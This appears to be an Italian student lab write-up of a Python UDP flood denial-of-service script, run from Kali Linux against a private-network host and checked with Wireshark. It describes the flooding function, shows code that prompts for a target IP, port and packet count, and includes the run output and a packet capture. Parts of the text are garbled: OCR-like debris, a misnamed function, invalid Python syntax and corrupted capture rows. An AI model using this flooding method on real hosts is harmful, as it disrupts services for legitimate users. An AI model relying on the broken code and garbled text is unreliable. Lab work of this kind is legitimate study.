



Introduzione

DDoS "Distributed Denial of Service".

Un attacco DDoS è progettato per rendere un servizio o una risorsa non disponibile agli utenti leggitimi, svoraccaricando il sistema di destinazione del traffico, richieste o risorse in modo che non possa più gestire le richieste valide.

Il DDos coinvolge più dispositivi o punti di origine, per questo nel nostro caso si parlerà di DoS singolo dispositivo o singolo punto di origine



File Edit Options Buffers Too Import socket Import random

Queste righe importano le librerie necessarie per il programma. "socket" rappresenta un'interfaccia di comunicazione tra due processi su una rete. Random viene utilizzato per generare dati casuali.

La funzione "udp_flood" è la responsabile dell'esecuzione dell'attacco DDoS. Prende in input l'indirizzo IP target, la porta target, le dimensioni del pacchetto e il numero di pacchetti da inviare

La funzione crea un socket UDP, genera dati casuali di dimensioni "packet_size", quindi invia "num_packets" UDP al destinatario. Infine stampa un messaggio di completamento.

```
def en ():
    target_ip = input("Inserisci l'IP del target: ")
    target_port = int(input("Inserisci la porta del target: "))
    packet_size = 1024 # 1 KB
    num_packets = int(input("Inserisci il numero di pacchetti da inviare: "))
    udp_flood(target_ip, target_port, packet_size, num_packets)
```

"Main" è il punto di ingresso del lprogramma. Chiede all'utente di inserire l'IP del destinatario, la porta del destinatario e il numero di pacchetti da inviare. Poi chiama la funzione "udp_flood" con i parametri appropriatit.



```
if __name__ = __main__ :
    main()
```

Questo blocco di codice assicura che il programma venga eseguito solo se è stato eseguito direttamente, non se è stato importato come modulo in un altro script.

```
(kali@kali)=[~]
$ python UDPFloot.py
Inserisci l'IP del target: 192.168.1.13
Inserisci la porta del target: 50000
Inserisci il numero di pacchetti da inviare: 433
UDP flood completato! 433 pacchetti da 1024 byte inviati a 192.168.1.13:50000
```

Una volta ottenuti gli input richiesti, lo script utilizza il modulo socket di Python per creare UDP e inviarli al target specificato. Utilizzando un ciclo, lo script invia il numero specificato di pacchetti.

No.	Time	Source	Destination	Protocol	Length Info
	9649 6.212598709	192.168.1.14	192.168.1.13	UDP	1066 33939 →
	9650 6.213432081	192.168.1.14	192.168.1.13	UDP	1066 33939 -
ш	9651 6.214842363	192.168.1.14	192.168.1.13	UDP	1066 33939
ш	9652 6.215698135	192.168.1.14	192.168.1.13	UDP	1066 33939 -
ш	9653 6.216624979	192.168.1.14	192.168.1.13	UDP	1066 33939 -
ш	9654 6.217490345	192.168.1.14	192.168.1.13	UDP	1066 33939
	9655 6 219582868	192 168 1 14	192 168 1 13	LIDE	1866.33939

Tramite l'utilizzo di WireShark andiamo a scatturare il trafico di rete per assicurarci la buona riuscita dell'esercizio.



